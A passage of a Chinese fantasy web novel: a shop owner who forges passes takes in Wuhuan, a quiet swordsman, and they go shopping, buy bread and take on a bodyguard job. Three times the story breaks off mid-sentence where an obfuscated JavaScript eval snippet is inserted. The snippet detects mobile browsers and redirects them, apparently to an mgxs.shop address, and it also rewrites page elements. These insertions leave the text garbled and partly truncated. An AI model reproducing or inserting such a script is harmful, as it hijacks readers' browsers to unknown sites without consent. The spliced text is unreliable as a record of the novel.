面前的漂亮美人对这个世界的规则几乎一窍不通,于是一瞬耐心地解释道:“每张通行证都是通行局颁发,印了持有人姓名的,高层的通行证可以在任意底层畅通无阻,只是通行证必须要本人使用才能被天梯接受。” 他说着,从无欢手中拿走了金色通行证。 无欢心下一紧,立刻要将卡片抢回来,却被一瞬一个侧身避开。 一瞬将卡面对着从树隙间透进的阳光,通行证在光芒下泛着耀眼的光泽,颇有点富贵迷人眼的意思。 他翻来覆去看了两遍,最终得出结论:“这张卡是假的。” 无欢瞳孔骤缩:“这不可能!这是从……” “你从一个位高权重的人手里抢过来的。”一瞬截断了他的话,指尖轻点金卡边缘,“在七层?” 无欢抿着唇,微不可察地点了点头。 一瞬随手将金卡插回无欢腰间,说:“为王家做事以后,就是王家的狗,通常不能离开了,那些老王八可不会这么好心给一群狗颁发卡片。金色通行证从某种程度来说,也是身份的象征。有些在七层任职的人会特地弄张假卡,好宣扬一下自己是个‘宠臣’。”他慢悠悠地解释着,然后朝无欢晕开笑,“很可惜,你打劫到骗子了。” “你怎么确定这是假的……”无欢还在做最后的挣扎。 一瞬笑道:“我可是做假证的,你这张卡的做工比白色通行证还要粗糙,怎么可能是真的?” 无欢将两张卡片并排置于掌心,一张是自己的金卡,另一张是一瞬给的白卡,鎏金与素白在阳光下交相辉映。他蹙眉凝视,却怎么都看不出其中的差别。 最多只是颜色不同而已。 而一瞬此刻也犯了难。虽然说他带无欢一起来二层,多少有人鱼小姐委托的原因,可是不得不说,他也是被无欢的这张脸冲昏神智了,完全没有考虑过这件事的可行性。 无欢不是底层的人,他在二层根本无处可去。一瞬在二层的身份也很尴尬,带他一起回来,等于是自己惹上了一个大麻烦。 他问:“你接下来打算怎么办?在二层有地方去吗?” 无欢顿了一下,随即摇了摇头。 “我想也是……”一瞬喃喃道。 他正斟酌着要不要干脆把一瞬带回自己的万事屋,可是还没想出个所以然,一回神,就见无欢对他深深聚了一躬,说:“谢谢你的帮忙,这次的费用我会想办法结清的,那么我先告辞了。” 无欢一连串话砸过来,让一瞬的脑袋都懵了。 他连忙拦住无欢的去路,问:“你打算去哪里?” “我不知道……”无欢垂下眼睫,坦诚道,“总之先到处看看吧,或许能有什么机遇。” 他说这话时微微侧过头,午后的阳光正好落在他的侧脸上,将那轮廓勾勒得像是工笔画里走出来的人。睫毛低垂时投下一小片扇形的阴影,鼻梁的线条利落而优雅,嘴唇因为失血还带着一点淡淡的苍白,却反而衬得整张脸愈发清冷出尘。 明明说着前途未卜的话,他的神色里却不见慌张,反而有种说不出的坦然,好像无论被抛到哪里都能活下去似的。 一瞬脸一红,脱口而出:“……要不然你跟我回去吧,给我打工还债。” “这样好吗?”无欢有些犹豫。 “正好我这万事屋就我一个人,有的时候忙不过来,多一个人也能搭把手。”一瞬说。 无欢露出了纠结的神情。 一瞬见状,深吸了一口气继续加码:“我也可以给你开工资,一个月两枚金币。” 无欢拧了拧眉,还在思考。 一瞬继续道:“三枚金币,外加每周一天休假。” 无欢托住下巴,继续思考。 一瞬:“四枚金币,外加每周两天休假!我应该是全蔚莱唯一一个能够制作假证的人了,你来我这里……” “好,那就打扰了。”无欢干脆地应下。 一瞬微微一怔。 早知道说通行证能够让他同意的话,就应该早点说啊!还白搭进去两枚金币和休假时间。 一瞬带着无欢往万事屋走,林间小径上,两道身影渐渐融为一体。一个絮絮叨叨地说着万事屋规矩,一个安静聆听。 一瞬能够造卡,前提是需要一张真正的通行证,才能够对照着做出能够用的卡片。他许诺无欢,只要能够找到通往各层的通行证,再加上二十个金币就可以替他造卡。他将人鱼小姐的委托也告诉了无欢,二层的白卡他可以不收费,但是后续还需要卡片的话,就需要支付对应的金额。 无欢略一思考,问:“那如果我直接找到一张金卡,是不是也只用二十金币?” 一瞬抽了抽嘴角,说:“是。” 无欢闻言后又沉默了,显然是开始思考要怎么直接弄到一张金卡的事情了。 无欢身上穿的这一身布料,在贫民窟能够轻易融入,但是在二层却会被人侧目。一路上遇到人都会在他身上多投上两眼,也不知道是看他长得好看,还是穿得太格格不入了。 平和镇不大,一瞬又是开万事屋的,在镇上很吃得开。路上遇到人了都会彼此打个招呼,一瞬也会趁机给无欢介绍:“那是铁匠铺的熊老爹,你别看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555390|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他长得凶,其实特别温柔。” “那是面包房的猫娘双胞胎,你要是想买面包的话记得别报我的名字,不然会涨价。” “还有那个小花圃那儿的小老头,别看他这样,可爱惜花了,要是不小心踩了的话会拿着扫把追你三条街。如果他的体力不行,到第四条街就追不动了。” 无欢跟在他旁边时不时地点头,示意自己记住了。 两人沿着蜿蜒的林间小道前行,直到耳畔传来叮咚的水流声,一瞬才逐渐放慢脚步。 「一家万事屋」在平和镇的边缘,隐在树林间,旁边还有一条清澈的小河。无欢想起贫民窟那条浑浊的宣河,还有七层精致的人造水池,都和这条波光粼粼的小河完全不一样。 他从前一直生活在七层,从来不知道蔚莱各层之间的环境能够有如此差别。 万事屋是一间用圆木盖的房子,篱笆围出的小院里种满各色花草。屋檐下挂着两盆垂落的绿箩,翠绿的藤蔓在微风中轻轻摇曳,生机勃勃。 院外放置了一个小框,里面整齐地码着几把油纸伞,一旁的架子上还放了一枚银币。 一瞬顺手将银币收入口袋,将门上的“休息中”的牌子翻转成“营业中”,领着无欢一起跨过门槛。 屋内扑面而来的松木香让人恍若还在林间。 工作区的正中央摆着一张宽大的圆木桌,上面散落着各种奇特的工具和半成品,墙角立着几个塞满书本和卷轴的柜子,旁边的小茶几上还放着喝到一半的茶杯。 一瞬随手将两个药罐子放在桌上,向新成员介绍着万事屋。 “这边是工作区,旁边是厨房,卧室就在后面。” 他领着无欢在屋内转了一圈,最后推开卧室门。屋里的陈设简单得一目了然,除了一张单人床就只有一个歪歪扭扭的衣柜了。 一瞬一直都是一个人住的,平时一睁眼就去把门口那张小挂牌翻成“营业中”,要补觉也躺在工作区的老藤椅上。一来,那个位置正好能够照到阳光,睡得踏实。二来,他也不想错过任何一个委托。 他将工作区布置得满满当当地,却对房间里的布置不上心。不过现在想来,这倒成了好事,正好有大片的地方给无欢安置床位。 “没事,”无欢看了一眼空荡的房间,语调不变,“我睡地上就可以了。” 一瞬立刻反驳:“这可是二层,让别人知道了岂不是成我虐待劳工了?”随后,他神秘一笑,推着无欢离开房间,“你等等,我马上给你弄张床来。” 无欢还没反应过来就被推出了房间,木门在眼前轻轻合上。 他静静站在屋内,却听不见卧室里任何动静,连脚步声也没有。约莫一盏茶的时间,当一瞬的脚步声轻轻浅浅地从里屋传来时,房门也再次被打开。 不过片刻的时间,屋内的景象已然大变。原本只有一张床的房间里,赫然多出了一张一模一样橡木床,靛青色的被褥铺得一丝不苟,连枕头的凹陷都分毫不差。 唯一不同的是,新增的那张床的床柱上还雕刻着繁复的藤蔓花纹。 在两张床中间还多了个小茶几,上面摆着个插满野花的陶罐。 那些花开得杂乱又热闹,高高低低、红红紫紫地挤满了陶罐,混在一起却有种野性又蓬勃的生气,像是不经意从路边随手采来、随手插进去的,反倒比精心安排的花束更耐看。 无欢微怔:“这是……?” “存储道具!”一瞬答得飞快。他整理着平整的被角,避开无欢探究的目光,“我们万事屋的……呃,祖传秘方!” 5. 讨价还价 “你先休息会儿吧,身上的伤才好,过两天工作也一样。”一直到把那方被子捋得格外平整了,一瞬才起身,“我一会儿要去把那个药罐子给委托人送过去,很快就回来。” 无欢微微颔首:“好。” 安顿好无欢后,一瞬拎起药罐子推门而出。 这药罐子是住在森林中的矮人要的,他们照顾着一个叫白雪的姑娘。 那姑娘哪儿都好,皮肤像雪一样白,嘴唇像血一样红,就有一点,身子骨太弱了,总是隔三差五地晕倒。矮人们卖了两块宝石,凑出七枚金币,才托一瞬从瓦伦娜那儿买来这个神奇的药罐子。 苹果森林紧邻着平和城,错综复杂的小径对旁人如同迷宫,对一瞬却像是自家的后花园一样。他在盘根错节的树影间穿行,很快来到一块青灰色的巨石前。 这块石头不过齐胸高,却是矮人们的家。 “咚咚咚——”一瞬弯腰叩门,嘴里还模拟着敲门的声音,“送货上门!” 门被吱呀打开,一个红鼻头的小矮人垫着脚探出头来,鼻涕泡随着呼吸一胀一缩。 “可算来了!”他急冲冲地伸出粗短的手臂,三枚金币被他用双手捧着,闪闪发亮,“白雪姑娘今早又晕过去了!” 一瞬将药罐子放在地上,那罐子在他手中不过巴掌大,对矮人而言却像个庞然大物,罐口几乎顶到矮人的腰带。 “白雪姑娘怎么样了?”一瞬说着,还透过窗户往屋内张望。 “喂,别看了!”矮人急得鼻涕泡都胀大了,他像只炸毛的松鼠一般跳了起来,短胖的手臂在空中胡乱挥舞。 然而,一瞬的视线已经扫过整个石屋。 他看到屋内约莫有四五个矮人,其中两个在阁楼睡觉,还有一个在角落里泡澡,看到一瞬的眼睛从窗口出现的时候还夸张地抱住了自己毛绒绒地胸膛,发出少女般的惊叫。 溅起的水花打湿了墙上的全家福,那张泛黄的照片里,矮人一家围着一位雪肤乌发的少女。 好看,太好看了。 美妙,太美妙了。 但是比起无欢那种带着锋芒的美,还是差了几分味道。嗯……这么想起来,无欢的眼神里似乎总是带着两分警惕,像黑夜里的猫科动物一样。 “哼!”鼻涕泡直接爬上墙,用圆滚滚的肚皮挡住了整个窗口,“白雪不在这里,自从那个老巫婆掉下山崖以后,她就说我们这儿翻身会撞到膝盖,搬去后面的小木屋了!” “那确实是个明智的选择。”一瞬说。 一瞬收下金币以后便和矮人告别了。 他脚步轻快地穿过森林小径,药罐子换来的金币在口袋里叮当作响。 现在天色还早,一瞬想着无欢今天就啃了点黑面包,干脆绕了远路,打算去买一些真正能吃的面包带回去让无欢开开眼。 猫猫糖面包坊的烟囱正冒着暖融融的炊烟。 一瞬推开面包坊的木门,门铃清脆地响了一声。猫壹正在柜台边清点今天的账目,听到动静的同时竖起耳朵:“欢迎光——怎么又是你。” 猫壹看到来者是一瞬以后,瞬间没有了方才的精气神,恹恹地低下头去继续翻看账本,一个多余的眼神都不想给他:“今天又要赊账了?” “胡说!”一瞬拍了拍口袋,兜里的金币随之发出晃晃荡荡的磕碰声,“我今天可是带了真金白银来的。” “你哪次没带来?”猫壹冷笑一声,尾巴尖烦躁地拍打着柜台,“最后不都是‘先记账’?” “哎呀,别这么冷漠嘛,小壹。”一瞬显然已经习惯了她的态度,自顾自地贴拿起托盘,开始往里面装面包。 他拿了满满一大盘子的面包,把盘子往柜台一推,面包的甜香立刻在一人一猫之间弥漫开来。 猫壹的肉垫在屏幕上摁得飞快:“三枚银币。” 一瞬:“一枚呗。” 猫壹:“三枚!” 一瞬:“一枚吧,你看这都要天黑了,面包放一夜就不新鲜了……” “少来这套!”猫壹的尾巴炸成了鸡毛掸子:“三枚!少一个子儿都不行!” 一瞬见状,立刻转换策略。他肘支柜台,开始压低声音,东扯西扯:“说起来啊,我前两天听说一件事儿。街口王婆家里好像又闹虫灾了,你说她都这么大年纪了怎么都不收收味儿?” 猫壹的耳朵不自觉地转动着,嘴上虽然还在骂骂咧咧,身体却很诚实地凑近了些。 “还有更劲爆的。”一瞬见这招果然有效,趁机又往前凑了凑,“还有西巷的兔丫头又生了一窝,但是她不是一直独居带娃的吗?真奇怪——” 猫壹的胡须抖了抖,终于按耐不住八卦之心:“我听说是……”话才刚出口,她突然警觉地瞪大眼睛,“等等!你别想转移话题!三枚银币!” 就在这剑拔弩张之间,一阵浓郁的蜂蜜甜香从里间飘来。 一瞬的眼睛亮了亮:“哦!现烤的蜂蜜面包,给我也来两个。” 猫壹气得直抓耳朵:“你都买了这么多了!撑不死你啊?!” “吃得完。”一瞬笑道,“万事屋今天招新了嘛。” “招新了?”猫贰顶着金灿灿的面包从里间走出来,面包上还蒸腾着热气,表面刷着的蜂蜜静音剔透。她轻巧地跳上柜台,头顶的面包盘纹丝不动,“是不是那个穿得破破烂烂的小帅哥?” 一瞬挑眉望向她:“消息这么灵通?” 猫壹一边将面包往柜子里码,一边竖起耳朵。 猫贰晃着尾巴:“对啊,听熊老爹说的,说你今天牵了个衣衫不整的小帅哥回去了。” 猫壹闻言以后,立刻对一瞬露出了嫌弃的表情。 一瞬:“……” 一瞬:“我这是做好人好事,收留无家可归人员而已。” 双胞胎姐妹同步歪头,异口同声:“噫——” 一瞬显然已经习惯了两姐妹的嫌弃了,立刻露出了义正言辞的模样,一拍桌子道:“我见到那孩子的时候,他浑身是伤,被家里人抛弃了…我身为万事屋老板,能见死不救吗?!” 他越说越激动,突然提高了音量,把两姐妹吓得浑身一激灵:“你们!你们舍得让一个刚来平和镇的孩子,吃不饱饭吗!我今天和他说猫猫糖面包坊的面包,是全二层……不,是全蔚莱最好吃的!要是吃不到的话,他一定会很伤心的!” 猫壹显然被他这招拿捏住了,不耐烦地甩着尾巴,把盘子里最后三个面包给他装了起来:“行行行,看在新朋友的份上……”她恶狠狠地瞪了一瞬一眼,“要是下次再这样,我就去你万事屋门口摆摊说书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555391|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 一瞬见好就收,接过面包的时候还顺手摸了一把猫壹脑袋:“放心吧!” 说完以后他便带着面包一溜烟跑了,一直到一瞬的身影消失在店门口,猫贰忽然歪了歪脑袋看向猫壹:“他今天付了多少钱?” 正在整理柜台的猫壹忽然停住了动作。 “……这个混蛋!一枚银币都没给!” * 等到一瞬回到家的时候,天已经黑了。 木屋静悄悄的,连盏灯都没点。他将鼓鼓囊囊的纸袋轻轻放在桌上,借着月光,轻车熟路地摸进屋里。 银白的月华透过窗棂,如流水般倾泻在床榻上。无欢平躺着,双手交叠置于腹部,指间还夹着那张伪造的金卡,一头黑发铺了满枕。听到脚步声,他的眼珠微微转动,墨色的瞳孔在黑暗中像两潭深不见底的寒泉,无声地追寻着一瞬的身影。 “装睡呢?”一瞬凑近床边,木质地板发出轻微的吱呀声。 无欢的睫毛在月光下投出细碎的阴影:“......在休息。” 一瞬的视线在对方僵直的姿势上停留片刻,嘴角抽搐。 这哪是休息,分明像是祭台上的殉道者。他的目光扫到床头柜,那块黑硬如砖的面包原封不动地搁在那儿,连咬痕都没多一道。 这家伙不会从自己走了以后就没有动过吧?! “吃过饭了?” “没有。” “起来。”一瞬的指尖敲了敲床柱,“加餐。” 一直到一瞬的话音落下,无欢才从床上坐起来。他的动作有些僵硬,小幅度地舒展了一下后才能够如常动作。 他伸手就要去抓黑面包,一瞬眼疾手快地将他的手打掉:“买了新鲜的面包回来,就在外屋放着呢,吃那个去。” 两人来到外间时,月光正漫过窗台。一瞬将灯打开,从纸袋中掏出一个面包,掰开一半给无欢递过去。 无欢接过面包,金黄的蜜糖从蓬松的孔洞中拉出细丝。他的指尖在触及温热表皮时几不可察地蜷缩了一下。他看了一眼一瞬,见一瞬也在看他,便垂眸小口咬下,咀嚼时喉结的滚动都带着谨慎的韵律。 “如何?”和美人一起吃饭,一瞬感觉胃口都变好了,两口就把面包吃完了,还要去拿下一个。 无欢的唇瓣沾着蜜光:“甜。”他想了想,又补充道,“好吃。” 一瞬一只手抓着面包,另一只手撑着下巴,就这样看了过去。 灯光落在无欢的脸上,将那眉眼鼻梁映得柔和又分明。他吃东西的样子很安静,像是不习惯被人注视,每一口都吃得小心而专注。睫毛偶尔抬起又垂下,在眼下落了一片淡淡的影,那滴泪痣在暖黄的灯光里显得格外分明。 一瞬的目光不自觉地从他的眼睛滑到鼻尖,又落到那沾着蜜的唇上,整个人像被什么东西轻轻攥住了一样,挪不开眼,也忘了要移开。 他就那样看着,目光渐渐落在无欢的手上。 他看见那双攥着面包的手,修长的手指如同新雪初凝的竹节,指节和虎口却布满了茧衣,右手的食指关节处却比左手多出了一道陈年疤痕。那是因长年握紧刀柄,被护手反复磨刮、撕裂,最终愈合的烙印。 一瞬微微一愣。 这只漂亮的手,是执剑的手。 6. 美人人偶 吃完晚餐后,两人便回屋去睡了。 第二天早上,一瞬醒来的时候,无欢已经醒了。 原本还是有些困的,可是一瞬睁开眼时,看到那双精致的黑眸正直勾勾地看着自己,睡意瞬间被驱散了。 虽然无欢的眼睛很好看,但是一大早被盯着,一瞬还是觉得很奇怪。 一瞬:“醒了怎么不起床?” 无欢没有回答,只是在听到了一瞬的话以后倏然坐起。他的头发经过了一夜以后仍然看起来像是丝绸一般,不见半分凌乱。 昨天晚上洗漱过后,一瞬直接让他穿了自己的衣服。一瞬的衣服对于无欢来说有些大,起身的时候一侧肩膀滑落了,露出线条分明的锁骨,晨光顺着肩颈的弧线流淌,将那片肌肤染成温润的象牙色。 一瞬的视线像被蜜黏住般钉在那片春光里。 一直到无欢赤足下了床,才猛然回神,拽过被子蒙头盖住:“你饿了的话先把桌上的面包吃了吧。” 无欢看了他一眼,轻轻地“嗯”了一声才离开。 直到听到木门关闭的声音后,一瞬才掀开被子,深深吐了一口气。如果仔细看的话,他的脸颊上还带了一点薄红。 他收留无欢,其实不光是冲着那张脸好看,也因为他是从七层下来的,多少带了点同情的心思。 可是这样子,不是真成双胞胎猫姐妹嘴里的变态了嘛! 他回忆着晨光下的无欢,温柔的阳光淡化了他眸中的冷漠,连抿着的唇线都似初融的冰棱。 一瞬烦躁地揉乱头发,把脸埋进枕头里。 …… 万事屋的老板,开业七年来,第一次赖床了。 * 万事屋也不是每天都有工作的,比如今天。 吃过早餐以后,一瞬带无欢出门去买衣服,顺便熟悉平和镇周边的环境。 家里没有合适无欢的衣服。出门前,一瞬替他拢好宽大的衣领,在后颈处打了个结,将多余的布料收束成小小的揪,防止衣服再次滑落。 他先带无欢去了服装店。 两个人在店里耗了小半天,当然,选衣服阶段只有短短的十分钟,毕竟无欢的颜值摆在那里,而仙女教母出品也是保质保量的。 至于后面几个小时,都用来让一瞬和教母砍价了,油腔滑调地把两金币的衣服硬生生地砍到了五个银币,最后还顺走了一顶遮阳草帽。 无欢全程在旁边等着,觉得这人居然还没有被打出去也算是一种奇迹。 两人在平和镇逛了一天。 晚上回到家时,一瞬从抽屉里找出了两个小玻璃瓶,将其中一个交给无欢。 无欢取过瓶子:“这是?” “这是绒团精灵,嗯……叫精灵,其实只是精灵族研究出来的一个魔法道具而已。”一瞬解释着,随后打开了自己的那只玻璃瓶,“这两只小绒团还没有对外发售,是我之前遇到一只迷路精灵的时候,完成了她的委托才得到的一对。” 瓶塞打开后,一团毛绒绒的绿光应声蹦出。它抖了抖蓬松的绒毛,两片薄如蝉翼的翅膀舒展开来,洒落星星点点的光尘。 小东西在空中笨拙地转了个圈,最后稳稳落在一瞬的指尖。 无欢手中的那只蓝色精灵似乎感应到了同伴一般,急躁地在玻璃瓶中转着圈。 不知道精灵族是怎么做到的,一个道具居然可以做得这么活灵活现。 “诺,这小家伙认主,彼此之间也会相互吸引。”一瞬轻轻掂了掂指尖,他手中的精灵朝着无欢瓶中那只直溜溜地飞了过去,绕着无欢手中的玻璃瓶飞舞着,翅膀煽动时还洒下细碎光尘,“你拿着那只,要是找不到回来的路的话可以把它放出来。或者如果有什么情况的话,你也可以让它送信……还挺便利的。” 无欢点点头,将他的精灵收了起来。绿色的小精灵找不到同伴,便乖乖地飞回了一瞬身边。 第二天早上,一瞬让无欢去熟悉熟悉镇上的路线,自己就在万事屋里留守。 今天是个好天气,一瞬泡了一杯茶,戴了个大草帽,扛着鱼竿在河边钓鱼。一个下午收获了两条鱼,还分了一条给面包坊的猫姐妹。 对于这种不要花钱的项目,一瞬向来是很大方的。 暮色浸透窗棂时,一只小精灵散落着蓝色的光沉从窗口飞了进来。没过多久,无欢也推门进入了事务所,他的发梢还沾着林间的松针。 这一周基本没有什么工作,只偶尔有几个跑腿的活儿。有活儿的时候一瞬就带着无欢一起,认认镇子外的路,没有活的时候,他就放任无欢自己出去走走。 蔚莱二层说大不大,说小不小。 出了平和镇再走两里地就能看到人鱼之海,这片海和一层的小水域可不一样,那是真正地一望无垠。 海浪鲜活地跳跃着,浪头卷起时碎成万千钻石,又轰然倾泻成雪白的飞沫。 这是被人鱼滋养着的大海,是世界上最美丽的景色。 这天一瞬接到了一个去海岸送信的委托。 海风卷着咸涩的水汽扑上悬崖时,无欢的视线正钉在海平线上。浪涛在他瞳孔里碎成雪沫,又聚成新的山峦,他却像尊风化的石雕,只是安静地望着海平面。 一瞬抛出的石子在他脚边滚落,他也浑然未觉。 是喜欢海吗?一瞬想。 完成了送信任务后,一瞬随手指了块岩石,提高音量:“今天偷个懒,赏赏海吧。” 话音才落,无欢倏然转身,衣袂在风里猎猎作响。他精准地走向一瞬指定的礁石,坐下时脊背挺得笔直,仿佛有根钢尺从后颈贯到尾椎。 无欢沉默地望着海面,一瞬就盘腿坐在不远处,用目光细细描摹着那道背影。 七天了,一瞬在小水池旁遇到无欢,还有在贫民窟二次相见时,无欢除了落魄一些以外,都和常人无异。 可是自从到了二层就变了个样,整个人活像上了发条的机关人偶,行走停卧皆需指令,连呼吸都好像带着刻度。只有在极偶尔的时候,那双眼睛里才会闪过一丝稍纵即逝的波澜,让一瞬确信这副躯壳里还住着一个活生生的灵魂。 要不是一瞬熟悉二层,知道这是蔚莱大陆最适合生活的地方,不然都要怀疑无欢是被什么东西蛊住了。 一瞬就这样一言不发地看着无欢,一直到暮色浸透云层时,他才起身掸了掸裤脚的沙粒:“回了。” 礁石上的人影应声弹起。无欢动作利落得带起一阵风,他甚至没低头看一眼沾满贝壳碎片的衣角,径直踩过自己投在沙滩上的影子,跟在一瞬斜后方半步的位置。 咸湿的风灌进一瞬的领口。他回头看了一眼无欢笔挺如标枪的身影和没有神情的面容,只觉得太阳穴突突跳。 这样走在平和镇上,明天街口的告示牌上一定会贴上“瞬老板不可告人的爱好”的大标题——虽然蘑菇酒馆里,关于“黑心老板和小白花”的故事大概早就已经开讲三个回合了。 回到万事屋,一瞬泄愤似的踹了脚厨房门框:“随便炒两个菜!” 角落里,野兽城堡出品的魔法厨具闻声而动。油壶悬空倾斜出完美的金黄弧线,铲子挟着青菜在清水中翻滚,砧板上的胡萝卜自动排列成等距薄片,然后整齐地走进油锅里。 一道菜炒完,铁锅将食物倒入盘中,那盘子装满了菜,便自发地飞向了餐桌。 一瞬抱臂倚在门框,目光在规行矩止的厨具与院中静立的身影间来回逡巡。无欢正垂首收拾着院门口的伞架。 进屋前,一瞬发现伞架被风吹倒了,让无欢帮忙扶起来,结果现在菜都吵完了,这家伙还在门口扶着那个伞架。 看这个架势,一瞬甚至觉得那个伞架可以下岗了,直接让无欢当伞架是一样的。说不定美人抱着伞,这些散的销量还能好一些呢。 一瞬看着他,眯了眯眼睛故意将尾音拖得绵长:“开饭了——” 门口的身影骤然解冻。 无欢拉开椅子坐下,两只手规矩地摆在桌上,长发垂落在脸侧,似乎在等一瞬的下一个指示。 灶台上的魔法砂锅还在咕嘟冒泡,蒸汽顶得锅盖轻轻跳动。一瞬伸手按住躁动的锅盖,金属的温热顺着手心蔓延。 他转头对无欢道:“尝尝咸淡。” 听到指示以后,无欢果然拿起了筷子开始吃饭了。 而一瞬见状,只觉得头更大了。 到底要怎么样才能够纠正他这个听吩咐做事的坏习惯? 最后一道菜做完,一瞬才入座。 他拉开椅子的时候,无欢的耳尖轻轻动了动,却没有抬头看他。 一瞬感觉愁得慌,自从和他确认了上下级的关系以后就是这幅机械样子。他尝试过和无欢说正常过日子就好了,但是这似乎就是他正常过日子的方式。他想要问问无欢曾经在七层都发生了什么,可是又担心勾起他不好的回忆,只能三缄其口。 看着他这样谨慎、唯命是从的模样,总不可能会是什么美好的回忆的。 这天晚上,一瞬辗转难眠,第二天又罕见地赖床了。 一瞬让无欢先起床,把门口的小牌子翻成营业中。 等他终于从床上爬起来的时候,发现万事屋里不止有无欢,还有一位穿着淡黄色裙子的姑娘。女孩留着一头波浪卷发,正坐在桌前,背对着他。 不过一瞬是干万事屋的,平和镇也就这么点儿大,来来往往的人就那么些。只是一个背影,他就认出了来人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555392|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “铃铛?”一瞬唤了一声。 铃铛和无欢听到声音,同时转头望过来。 一瞬不仅喜欢欣赏帅哥美女,还喜欢在帅哥美女面前死装,靠过去的时候还不动声色地整理了一下的衣服:“好久没见到你了,蒲公英镇的风没把你吹跑啊?” “跑回来给你送牢饭啦。” 铃铛人如其名,声音也很好听。她笑出两个梨涡,变戏法似的捧出一个藤编盒,盒盖掀开的瞬间,烤麦香混着蒲公英的清苦和蜂蜜的清甜弥漫开。 “可惜只带了一人份。”她促狭地眨眨眼,目光扫过一旁的无欢,“哪知道你这铁树开了花。” 一瞬的椅子被无欢占了,无欢见一瞬过来下意识要起身,却被一瞬摁着肩膀坐了回去。 一瞬随意地坐到桌沿,从铃铛手中接过藤编盒,目光在两个美人间游走。 晨光从窗棂间斜斜地落进来,正好铺在桌面上,把铃铛裙子的淡黄色烘得像初开的迎春,而无欢坐在她对面,白衣黑发,像一幅尚未干透的墨画。两个人一明一静,一暖一冷,凑在同一幅画面里,却完全不违和。甚至把他这间小木屋都衬得敞亮又体面了起来。 两个大美人就在面前,一瞬现在多少有点老鼠掉进米缸里的窃喜感。 好看,太好看了。 美妙,太美妙了。 他拆开一块饼干,掰出一半分给无欢。无欢将饼干拿在手中,一瞬知道他没有“指令”就不会动,于是拍拍他脑袋道:“吃吧。” 无欢依言,低头小口小口地吃了起来。 一瞬看着他这样子又开始发愁,铃铛倒是轻轻地笑了起来。 一瞬好奇地看向她:“怎么了吗?” 铃铛眨了眨眼:“今天回来的时候,看到街口的告示牌上有一张‘奸商豢养记:论木头美人的驯养方法’的新闻报,是猫壹写的。我还以为是谁呢,原来是你们呀。” “……” 一瞬的拳头硬了,可恶的猫壹,把鱼还给我。 看着一瞬尴尬的神情,铃铛笑得更开心了。她继续补刀:“不过也是,我们镇上应该也就只有你一个奸商了。” 一瞬:“……”好美的一张脸,好残忍的一句话。 铃铛这次去蒲公英镇是去镇子上的学校做特派教室的,她眉飞色舞地分享了很多在蒲公英镇上的见闻,例如校工老伯养的三花猫喜欢偷吃学生的便当,例如学校种的蒲公英已经被吹成光杆司令了。 一瞬平时也经常去蒲公英镇,对镇上的八卦了解不少,和铃铛一说一和地就快把蒲公英学校的老底给扒光了。 无欢没有说话,却在旁边听得认真,一双眼睛一眨不眨地盯着铃铛看。 笑声渐歇时,铃铛忽然攥紧藤编椅的扶手。 她的笑容一点一点收了回去,像是在犹豫什么。她垂下眼,手指无意识地在桌面上画了两圈。 一瞬注意到了铃铛的情绪转变,也跟着闭上了嘴。 片刻后,铃铛压低了声音,说:“其实……我这次来还有桩怪事请你帮忙。” 一瞬见无欢吃完了饼干,刚把剩下半块塞进无欢嘴里,闻言指尖一顿,扬了扬眉毛:“什么事?说来听听。” 铃铛的嗓音发紧:“其实是这几天在蒲公英镇上的时候,我总觉得有东西在跟着我……沙沙的,像枯叶追着脚后跟跑。我原本还要在蒲公英镇再待几天的,可是太害怕了,就先回来了。可是没想到,那东西好像跟着我一起回来了。” 一瞬了然:“想找我们调查一下那是什么东西吗?” 铃铛点点头。 一瞬想了想。放眼整个蔚莱,二层大陆都可以说是一块世外桃源了。铃铛说的跟踪她的东西,无非是树林里的野狼,或者小混混罢了。无欢看起来是练过剑的,对付这两者应该都没有问题。即使出了意外,平和镇就这么大点,他也可以很快赶到相助。 他又看了一眼旁边安静坐着的无欢。 平时无欢在他面前像一块木头。虽然无欢也经常出门,但一瞬到底不知道他在其他人面前是什么样的状态。也许是他住不习惯二层,也许无欢只是在自己面前表现得像个人偶,是他们之间的上下级关系才让两人之间的相处看起来这么奇怪的。 不管怎样,这都是一个可以试试无欢虚实的机会。 这么想着,一瞬出声问道:“无欢,护花使者的活儿接不接?” 无欢愣了一下,他看着一瞬,似乎有些不可置信:“我吗?” “你。”一瞬咬着重音,“一个人可以吗?” 无欢抬起头,目光落到了铃铛身上。那目光依旧沉静,却缺少了几分空洞的服从。 他笃定道:“我可以。” 7. 老藤椅 铃铛要去风车镇,无欢作为贴身保镖跟着去了。 一瞬作为贴身保镖的老板,乔装改扮了以后远远地也跟着去了。 